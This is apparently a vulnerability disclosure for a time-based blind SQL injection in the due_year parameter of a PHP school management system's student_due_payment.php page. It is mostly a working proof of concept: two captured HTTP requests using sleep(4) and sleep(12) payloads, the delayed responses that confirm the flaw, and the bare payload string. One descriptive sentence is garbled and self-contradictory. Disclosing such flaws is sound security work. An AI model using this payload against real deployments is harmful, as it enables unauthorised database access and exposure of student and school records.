

SQL injection vulnerability exists in due\_year parameter of /view/student\_due\_payment.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

The screenshot displays the 'Request' and 'Response' tabs of a web browser's developer tools. The 'Request' tab shows a GET request to /std1/view/student\_due\_payment.php with a payload that includes a sleep(4) function. The 'Response' tab shows a 200 OK status with an HTML response containing a modal dialog. The status bar at the bottom indicates 'Done' and '2,669 bytes | 4,137 millis'.

```
Request
Pretty Raw Hex
1 GET /std1/view/student_due_payment.php?due_month=
  due_month&due_year=
  '%2B(select(0)from(select(sleep(4)))v)%2B'&std_index
  =std_index HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
10
11

Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:23:03 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 2479
8
9 <div class="modal msk-fade" id="modalviewDuePayment"
  tabindex="-1" role="dialog" aria-labelledby="
  insert_alert1" aria-hidden="true" data-backdrop="
  static" data-keyboard="false">
10 <div class="modal-dialog">
  <!--modal-dialog -->
11 <div class="container">
  <!--modal-content -->
12 <div class="row">
  <div class="col-md-6">
13 <div class="panel">
  <!--panel -->
14 <div class="panel-heading bg-aqua-active"
  <div class="panel-heading bg-aqua-active"
15
```

Sleep time is 12s:

The screenshot displays the 'Request' and 'Response' tabs of a web browser's developer tools. The 'Request' tab shows a GET request to /std1/view/student\_due\_payment.php with a payload that includes a sleep(12) function. The 'Response' tab shows a 200 OK status with an HTML response containing a modal dialog. The status bar at the bottom indicates 'Done' and '2,669 bytes | 12,005 millis'.

```
Request
Pretty Raw Hex
1 GET /std1/view/student_due_payment.php?due_month=
  due_month&due_year=
  '%2B(select(0)from(select(sleep(12)))v)%2B'&
  std_index=std_index HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
10
11

Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:23:41 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 2479
8
9 <div class="modal msk-fade" id="modalviewDuePayment"
  tabindex="-1" role="dialog" aria-labelledby="
  insert_alert1" aria-hidden="true" data-backdrop="
  static" data-keyboard="false">
10 <div class="modal-dialog">
  <!--modal-dialog -->
11 <div class="container">
  <!--modal-content -->
12 <div class="row">
  <div class="col-md-6">
13 <div class="panel">
  <!--panel -->
14 <div class="panel-heading bg-aqua-active"
  <div class="panel-heading bg-aqua-active"
15
```

Payload: due\_year='%2B(select(0)from(select(sleep(12)))v)%2B'

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>